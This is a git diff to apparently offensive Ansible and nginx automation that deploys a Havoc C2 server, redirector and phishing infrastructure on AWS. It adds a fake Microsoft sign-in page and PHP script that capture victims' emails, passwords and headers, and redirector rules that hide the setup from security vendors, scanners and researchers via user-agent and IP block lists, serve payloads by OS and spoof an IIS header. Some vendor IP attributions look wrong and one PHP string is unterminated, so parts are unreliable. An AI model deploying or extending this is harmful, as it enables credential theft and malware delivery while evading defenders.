diff --git a/AWS/c2.yml b/AWS/c2.yml index 621deff..837a144 100644 --- a/AWS/c2.yml +++ b/AWS/c2.yml @@ -166,21 +166,29 @@ c2_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) - # Create security group - - name: Create security group + - name: Create security group for C2 server amazon.aws.ec2_security_group: name: "{{ c2_name }}-sg" - description: "Security group for C2 {{ c2_name }}" + description: "Secured C2 server {{ c2_name }}" vpc_id: "{{ vpc_id }}" region: "{{ aws_c2_region }}" rules: + # Management access only from operator IP + - proto: tcp + ports: 22 + cidr_ip: "{{ operator_ip }}/32" + - proto: tcp + ports: "{{ havoc_teamserver_port | default(40056) }}" + cidr_ip: "{{ operator_ip }}/32" + # Allow traffic only from redirector - proto: tcp ports: - - 22 - - "{{ havoc_teamserver_port | default(40056) }}" + - 80 + - 443 - "{{ havoc_http_port | default(8080) }}" + - "{{ havoc_https_port | default(443) }}" - "{{ gophish_admin_port }}" - cidr_ip: 0.0.0.0/0 + cidr_ip: "{{ redirector_ip }}/32" rules_egress: - proto: -1 cidr_ip: 0.0.0.0/0 diff --git a/AWS/redirector.yml b/AWS/redirector.yml index a4eacc4..5a1936a 100644 --- a/AWS/redirector.yml +++ b/AWS/redirector.yml @@ -170,17 +170,20 @@ redirector_vpc_id: "{{ vpc_result.vpc.id }}" # Store for cleanup reference when: not (use_shared_infra | bool and infra_state_file.stat.exists | default(false)) - # Create security group - - name: Create security group + - name: Create security group for redirector amazon.aws.ec2_security_group: name: "{{ redirector_name }}-sg" description: "Security group for redirector {{ redirector_name }}" vpc_id: "{{ vpc_id }}" region: "{{ aws_redirector_region }}" rules: + # Management access only from operator IP + - proto: tcp + ports: 22 + cidr_ip: "{{ operator_ip }}/32" + # Public-facing services are open to internet - proto: tcp ports: - - 22 - 80 - 443 - "{{ effective_listen_port }}" diff --git a/deploy.py b/deploy.py index ba6457f..3054d03 100755 --- a/deploy.py +++ b/deploy.py @@ -312,6 +312,19 @@ def gather_common_parameters(): if not flokinet_ips: return None config.update(flokinet_ips) + + try: + import requests + suggested_ip = requests.get('https://api.ipify.org').text.strip() + operator_ip = input(f"\nEnter your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip + # Validate IP format + if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', operator_ip): + print(f"{COLORS['RED']}Invalid IP format. Using 0.0.0.0/0 (not recommended){COLORS['RESET']}") + operator_ip = "0.0.0.0/0" + config['operator_ip'] = operator_ip + except: + operator_ip = input(f"\nEnter your public IP for secure access (x.x.x.x): ") + config['operator_ip'] = operator_ip # Ask if user wants multi-region or cross-provider deployment multi_region = input(f"\n{COLORS['YELLOW']}Do you want to deploy redirector and C2 in different regions? (y/n) [default: n]: {COLORS['RESET']}").lower() == 'y' diff --git a/tasks/configure_c2.yml b/tasks/configure_c2.yml index 8c4d83f..f3b21b4 100644 --- a/tasks/configure_c2.yml +++ b/tasks/configure_c2.yml @@ -290,6 +290,9 @@ c2_ip: "{{ ansible_host }}" redirector_domain: "{{ redirector_subdomain }}.{{ domain }}" +- name: Include traffic flow configuration + include_tasks: "../tasks/traffic_flow_config.yml" + - name: Set up cron job for log cleaning if zero-logs enabled cron: name: "Clean logs" diff --git a/tasks/configure_redirector.yml b/tasks/configure_redirector.yml index 9c548b8..c416da2 100644 --- a/tasks/configure_redirector.yml +++ b/tasks/configure_redirector.yml @@ -129,6 +129,9 @@ owner: www-data group: www-data +- name: Include traffic flow configuration + include_tasks: "../tasks/traffic_flow_config.yml" + # Run port randomization if enabled - name: Run port randomization if enabled include_tasks: port_randomization.yml @@ -167,6 +170,45 @@ owner: root group: root +- name: Create credential harvesting directory + file: + path: /var/www/login + state: directory + mode: '0755' + owner: www-data + group: www-data + +# Create secure storage outside web root +- name: Create secure credential storage + file: + path: /var/private/creds + state: directory + mode: '0700' # Only owner access + owner: www-data + group: www-data + +- name: Deploy credential harvesting page + template: + src: "../templates/fake-login.html.j2" + dest: "/var/www/login/auth.html" + mode: '0644' + owner: www-data + group: www-data + +- name: Deploy credential capture script + template: + src: "../templates/capture.php.j2" + dest: "/var/www/login/process.php" + mode: '0644' + owner: www-data + group: www-data + +- name: Install PHP for credential processing + apt: + name: php-fpm + state: present + update_cache: yes + - name: Start and enable shell handler service systemd: name: shell-handler diff --git a/tasks/security_hardening.yml b/tasks/security_hardening.yml index 0887da2..6e1e071 100644 --- a/tasks/security_hardening.yml +++ b/tasks/security_hardening.yml @@ -32,19 +32,67 @@ direction: incoming ignore_errors: yes -- name: Allow required ports through firewall - ufw: - rule: allow - port: "{{ item }}" - proto: tcp - loop: - - "22" - - "80" - - "443" - - "{{ havoc_teamserver_port | default('40056') }}" - - "{{ havoc_http_port | default('8080') }}" - - "{{ gophish_admin_port | default('3333') }}" - ignore_errors: yes +- name: Configure UFW for C2 server + block: + - name: Reset UFW to default deny + ufw: + state: enabled + policy: deny + direction: incoming + + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow Havoc Teamserver only from operator IP + ufw: + rule: allow + port: "{{ havoc_teamserver_port | default('40056') }}" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow traffic only from redirector + ufw: + rule: allow + port: "{{ item }}" + src: "{{ redirector_ip }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ havoc_http_port | default('8080') }}" + - "{{ havoc_https_port | default('443') }}" + - "{{ gophish_admin_port }}" + when: "'c2servers' in group_names" + +- name: Configure UFW for redirector + block: + - name: Reset UFW to default deny + ufw: + state: enabled + policy: deny + direction: incoming + + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: "22" + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow public services from anywhere + ufw: + rule: allow + port: "{{ item }}" + proto: tcp + loop: + - "80" + - "443" + - "{{ shell_handler_port | default('4444') }}" + when: "'redirectors' in group_names" - name: Set up fail2ban SSH jail copy: diff --git a/tasks/traffic_flow_config.yml b/tasks/traffic_flow_config.yml new file mode 100644 index 0000000..ba8cb96 --- /dev/null +++ b/tasks/traffic_flow_config.yml @@ -0,0 +1,94 @@ +--- +# Common task for configuring proper traffic flow between infrastructure components + +- name: Determine server role in infrastructure + set_fact: + server_role: >- + {% if inventory_hostname in groups['c2servers'] | default([]) %}c2{% + elif inventory_hostname in groups['redirectors'] | default([]) %}redirector{% + elif inventory_hostname in groups['logservers'] | default([]) %}logserver{% + elif inventory_hostname in groups['payloadservers'] | default([]) %}payloadserver{% + elif inventory_hostname in groups['phishingservers'] | default([]) %}phishingserver{% + elif inventory_hostname in groups['sharedrives'] | default([]) %}sharedrive{% + else %}unknown{% endif %} + +- name: Configure C2 server routing + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow teamserver access only from operator IP + ufw: + rule: allow + port: "{{ havoc_teamserver_port | default('40056') }}" + src: "{{ operator_ip }}" + proto: tcp + + - name: Configure required flows for each connected component + ufw: + rule: allow + port: "{{ item.port }}" + src: "{{ item.ip }}" + proto: tcp + loop: + - { ip: "{{ redirector_ip }}", port: "80" } + - { ip: "{{ redirector_ip }}", port: "443" } + - { ip: "{{ redirector_ip }}", port: "{{ havoc_http_port | default('8080') }}" } + - { ip: "{{ redirector_ip }}", port: "{{ havoc_https_port | default('443') }}" } + - { ip: "{{ logserver_ip | default(omit) }}", port: "5144" } # Logstash port + - { ip: "{{ payloadserver_ip | default(omit) }}", port: "8888" } # Payload sync port + when: item.ip != omit + + when: server_role == 'c2' + +- name: Configure redirector routing + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow public web access + ufw: + rule: allow + port: "{{ item }}" + proto: tcp + loop: + - 80 + - 443 + + - name: Allow shell handler access + ufw: + rule: allow + port: "{{ shell_handler_port | default('4444') }}" + proto: tcp + when: server_role == 'redirector' + +- name: Configure logging server routing + block: + - name: Allow SSH only from operator IP + ufw: + rule: allow + port: 22 + src: "{{ operator_ip }}" + proto: tcp + + - name: Allow log ingestion from infrastructure + ufw: + rule: allow + port: 5144 # Logstash port + src: "{{ item }}" + proto: tcp + loop: + - "{{ c2_ip }}" + - "{{ redirector_ip }}" + - "{{ payloadserver_ip | default(omit) }}" + - "{{ phishingserver_ip | default(omit) }}" + when: item != omit + when: server_role == 'logserver' \ No newline at end of file diff --git a/templates/capture.php.j2 b/templates/capture.php.j2 new file mode 100644 index 0000000..d8ca923 --- /dev/null +++ b/templates/capture.php.j2 @@ -0,0 +1,27 @@ + date('Y-m-d H:i:s'), + 'ip' => $_SERVER['REMOTE_ADDR'], + 'user_agent' => $_SERVER['HTTP_USER_AGENT'], + 'email' => $_POST['email'] ?? '', + 'password' => $_POST['password'] ?? '', + 'headers' => getallheaders() + ]; + + + $log_file = '/var/private/creds/creds.enc'; + $encrypted = openssl_encrypt( + json_encode($data), + 'AES-256-CBC', + '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}', + 0, + str_repeat("\0", 16) + ); + file_put_contents($log_file, $encrypted . "\n", FILE_APPEND); + + + header('Location: https://login.microsoftonline.com/common/oauth2/); + exit; +} +?> \ No newline at end of file diff --git a/templates/fake-login.html.j2 b/templates/fake-login.html.j2 new file mode 100644 index 0000000..dae3521 --- /dev/null +++ b/templates/fake-login.html.j2 @@ -0,0 +1,106 @@ + + + + Sign in to your account + + + + +
+ +

Sign in

+
+ + + +
+ +
+
+
+ + + \ No newline at end of file diff --git a/templates/redirector-site-with-tracker.conf.j2 b/templates/redirector-site-with-tracker.conf.j2 index 4d8a323..c591e04 100644 --- a/templates/redirector-site-with-tracker.conf.j2 +++ b/templates/redirector-site-with-tracker.conf.j2 @@ -1,3 +1,26 @@ +# Advanced Redirector Configuration with IR Evasion +# templates/redirector-site.conf.j2 + +# Detect security tools by user agent +map $http_user_agent $is_security_tool { + default 0; + # Common security tools, scanners, and IR user agents + ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; +} + +map $http_user_agent $is_mobile { + default 0; + ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1; +} + +map $remote_addr $is_known_security_ip { + default 0; + # Example security vendor IP ranges - replace with actual ones + "192.168.1.0/24" 1; # Example placeholder + "10.0.0.0/8" 1; # Example placeholder +} + +# HTTP to HTTPS redirect server { listen 80; listen [::]:80; @@ -7,6 +30,7 @@ server { return 301 https://$host$request_uri; } +# Main HTTPS server server { listen 443 ssl; listen [::]:443 ssl; @@ -25,22 +49,46 @@ server { root /var/www/html; index index.html; - # Primary location for legitimate website traffic - location / { - try_files $uri $uri/ =404; + # Advanced IR Evasion + # 1. Redirect security tools to benign sites + if ($is_security_tool) { + return 302 https://www.google.com; } - # Only expose beacon callback paths - NOT dashboard or admin functions + # 2. Redirect known security IPs + if ($is_known_security_ip) { + return 302 https://www.microsoft.com; + } + + # 3. Direct mobile users to credential capture + if ($is_mobile) { + return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html; + } + + # 4. Add timing delay for suspicious connections + if ($http_referer ~* (security|scan)) { + set $delay_response 1; + } + + # Valid C2 beacon routing - CRITICAL PATHS location ~ ^/api/beacon/ { + # Only valid beacons proceed to C2 proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }}; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; + proxy_ssl_verify off; + + # Implement artificial delay for suspicious connections + if ($delay_response) { + limit_rate 1k; # Slow down response + } } # Secure stager delivery routes location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + # Only valid requests that passed the earlier checks proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; proxy_http_version 1.1; proxy_set_header Host $host; @@ -50,6 +98,7 @@ server { # Content access for payload delivery location ~ ^/content/(windows|linux)/(.+)$ { + # Specific valid content paths proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; proxy_http_version 1.1; proxy_set_header Host $host; @@ -57,6 +106,18 @@ server { proxy_set_header X-Real-IP $remote_addr; } + # Redirect specific payload formats based on client OS + location ~ ^/download/payload$ { + if ($http_user_agent ~* windows) { + return 302 /content/windows/$win_exe; + } + if ($http_user_agent ~* linux) { + return 302 /content/linux/$linux_bin; + } + # Default fallback for unknown OS + return 302 /; + } + # Secure payload delivery path for synced payloads location /resources/ { alias /var/www/resources/; @@ -69,6 +130,29 @@ server { access_log off; } + # Credential harvesting login page + location ~ ^/login/auth\.html$ { + root /var/www; + try_files $uri =404; + add_header X-Frame-Options "DENY" always; + } + + # Protect credential processing script + location ~ ^/login/process\.php$ { + # Allow POST only + limit_except POST { deny all; } + + # Process the PHP file + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + } + + # Block direct access to sensitive files + location ~ \.(enc|key|pem|log)$ { + deny all; + return 404; + } + {% if setup_integrated_tracker | default(false) | bool %} # Email tracker pixel only (not exposing dashboard) location ~ ^/px/(.+)\.png$ { @@ -84,6 +168,19 @@ server { expires -1; } {% endif %} + + # Primary location for legitimate website traffic + # This acts as a catch-all for non-matching URIs + location / { + # Check if this is potentially an attempt to access a non-existent payload + if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) { + # If invalid payload URI, redirect to real target + return 302 https://www.{{ domain }}; + } + + # Otherwise serve legitimate content + try_files $uri $uri/ =404; + } # Security headers add_header X-Content-Type-Options "nosniff" always; @@ -92,6 +189,9 @@ server { add_header Referrer-Policy "no-referrer" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + # Make server appear as IIS + add_header Server "Microsoft-IIS/10.0"; + # Disable logging {% if zero_logs | default(true) | bool %} access_log off; @@ -109,6 +209,7 @@ server { ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + # Redirect unknown hosts to legitimate sites return 301 https://www.google.com; access_log off; diff --git a/templates/redirector-site.conf.j2 b/templates/redirector-site.conf.j2 index 3303aae..c7d7b9f 100644 --- a/templates/redirector-site.conf.j2 +++ b/templates/redirector-site.conf.j2 @@ -1,3 +1,116 @@ +# Advanced Redirector Configuration with IR Evasion +# templates/redirector-site.conf.j2 + +# Detect security tools by user agent +map $http_user_agent $is_security_tool { + default 0; + # Common security tools, scanners, and IR user agents + ~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1; +} + +map $http_user_agent $is_mobile { + default 0; + ~*(android|iphone|ipad|mobile|phone|ios|ipod) 1; +} + +map $remote_addr $is_known_security_ip { + default 0; + + # VirusTotal + "64.71.0.0/16" 1; + "74.125.0.0/16" 1; # Google Cloud (VirusTotal) + "216.239.32.0/19" 1; # Google + + # Recorded Future + "104.196.0.0/14" 1; # Google Cloud + "35.184.0.0/13" 1; # Google Cloud + + # Censys + "198.108.66.0/23" 1; + "162.142.125.0/24" 1; + "167.248.133.0/24" 1; + + # Shodan + "66.240.192.0/18" 1; + "71.6.135.0/24" 1; + "71.6.167.0/24" 1; + "82.221.105.6/32" 1; + "82.221.105.7/32" 1; + "93.120.27.0/24" 1; + + # Symantec/Broadcom + "205.128.0.0/14" 1; + "65.165.0.0/16" 1; + + # McAfee/Trellix + "161.69.0.0/16" 1; + "192.225.158.0/24" 1; + + # CrowdStrike + "45.60.0.0/16" 1; + "199.66.200.0/24" 1; + + # SentinelOne + "104.36.227.0/24" 1; + "104.196.0.0/14" 1; + + # Microsoft Defender + "13.64.0.0/11" 1; # Azure (Microsoft Defender) + "13.104.0.0/14" 1; # Microsoft + "40.74.0.0/15" 1; # Microsoft + "51.4.0.0/15" 1; # Microsoft + "104.40.0.0/13" 1; # Microsoft + "104.208.0.0/13" 1; # Azure + + # Palo Alto + "96.88.0.0/16" 1; + "173.247.96.0/19" 1; + "216.115.73.0/24" 1; + + # Qualys + "64.39.96.0/20" 1; + "64.41.200.0/24" 1; + "92.118.160.0/24" 1; + + # Rapid7 + "5.63.0.0/16" 1; + "38.107.201.0/24" 1; + "45.60.0.0/16" 1; + "71.6.0.0/16" 1; + "206.225.0.0/16" 1; + + # Tenable/Nessus + "23.20.0.0/14" 1; # AWS (Tenable Cloud) + "34.192.0.0/12" 1; # AWS + "54.144.0.0/12" 1; # AWS + "162.219.56.0/21" 1; + "172.104.0.0/16" 1; # Linode (common Nessus hosting) + + # FireEye/Mandiant + "23.98.64.0/18" 1; + "66.114.168.0/22" 1; + "96.43.144.0/20" 1; + "173.231.184.0/22" 1; + + # Akamai + "23.0.0.0/12" 1; + "23.32.0.0/11" 1; + "104.64.0.0/10" 1; + + # Cloudflare + "104.16.0.0/12" 1; + "173.245.48.0/20" 1; + + # Academic Research Networks + "128.32.0.0/16" 1; # UC Berkeley + "128.59.0.0/16" 1; # Columbia University + "128.112.0.0/16" 1; # Princeton University + "128.138.0.0/16" 1; # University of Colorado + "128.197.0.0/16" 1; # Boston University + "146.186.0.0/16" 1; # Carnegie Mellon +} + +# HTTP to HTTPS redirect server { listen 80; listen [::]:80; @@ -7,6 +120,7 @@ server { return 301 https://$host$request_uri; } +# Main HTTPS server server { listen 443 ssl; listen [::]:443 ssl; @@ -25,22 +139,46 @@ server { root /var/www/html; index index.html; - # Primary location for legitimate website traffic - location / { - try_files $uri $uri/ =404; + # Advanced IR Evasion + # 1. Redirect security tools to benign sites + if ($is_security_tool) { + return 302 https://www.google.com; } - # Only expose beacon callback paths - NOT dashboard or admin functions + # 2. Redirect known security IPs + if ($is_known_security_ip) { + return 302 https://www.microsoft.com; + } + + # 3. Direct mobile users to credential capture + if ($is_mobile) { + return 302 https://{{ redirector_subdomain }}.{{ domain }}/login/auth.html; + } + + # 4. Add timing delay for suspicious connections + if ($http_referer ~* (security|scan)) { + set $delay_response 1; + } + + # Valid C2 beacon routing - CRITICAL PATHS location ~ ^/api/beacon/ { + # Only valid beacons proceed to C2 proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }}; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; + proxy_ssl_verify off; + + # Implement artificial delay for suspicious connections + if ($delay_response) { + limit_rate 1k; # Slow down response + } } # Secure stager delivery routes location ~ ^/(windows|linux)_stager\.(ps1|sh)$ { + # Only valid requests that passed the earlier checks proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2; proxy_http_version 1.1; proxy_set_header Host $host; @@ -50,6 +188,7 @@ server { # Content access for payload delivery location ~ ^/content/(windows|linux)/(.+)$ { + # Specific valid content paths proxy_pass http://{{ c2_ip }}:8443/content/$1/$2; proxy_http_version 1.1; proxy_set_header Host $host; @@ -57,6 +196,18 @@ server { proxy_set_header X-Real-IP $remote_addr; } + # Redirect specific payload formats based on client OS + location ~ ^/download/payload$ { + if ($http_user_agent ~* windows) { + return 302 /content/windows/$win_exe; + } + if ($http_user_agent ~* linux) { + return 302 /content/linux/$linux_bin; + } + # Default fallback for unknown OS + return 302 /; + } + # Secure payload delivery path for synced payloads location /resources/ { alias /var/www/resources/; @@ -69,6 +220,58 @@ server { access_log off; } + # Credential harvesting login page + location ~ ^/login/auth\.html$ { + root /var/www; + try_files $uri =404; + add_header X-Frame-Options "DENY" always; + } + + # Protect credential processing script + location ~ ^/login/process\.php$ { + # Allow POST only + limit_except POST { deny all; } + + # Process the PHP file + include snippets/fastcgi-php.conf; + fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; + } + + # Block direct access to sensitive files + location ~ \.(enc|key|pem|log)$ { + deny all; + return 404; + } + + {% if setup_integrated_tracker | default(false) | bool %} + # Email tracker pixel only (not exposing dashboard) + location ~ ^/px/(.+)\.png$ { + proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png; + proxy_http_version 1.1; + proxy_set_header Host {{ tracker_domain }}; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-Proto https; + + # Cache control for tracking pixels + add_header Cache-Control "no-store, no-cache, must-revalidate" always; + expires -1; + } + {% endif %} + + # Primary location for legitimate website traffic + # This acts as a catch-all for non-matching URIs + location / { + # Check if this is potentially an attempt to access a non-existent payload + if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) { + # If invalid payload URI, redirect to real target + return 302 https://www.{{ domain }}; + } + + # Otherwise serve legitimate content + try_files $uri $uri/ =404; + } + # Security headers add_header X-Content-Type-Options "nosniff" always; add_header X-Frame-Options "SAMEORIGIN" always; @@ -76,6 +279,9 @@ server { add_header Referrer-Policy "no-referrer" always; add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always; + # Make server appear as IIS + add_header Server "Microsoft-IIS/10.0"; + # Disable logging {% if zero_logs | default(true) | bool %} access_log off; @@ -93,6 +299,7 @@ server { ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; + # Redirect unknown hosts to legitimate sites return 301 https://www.google.com; access_log off;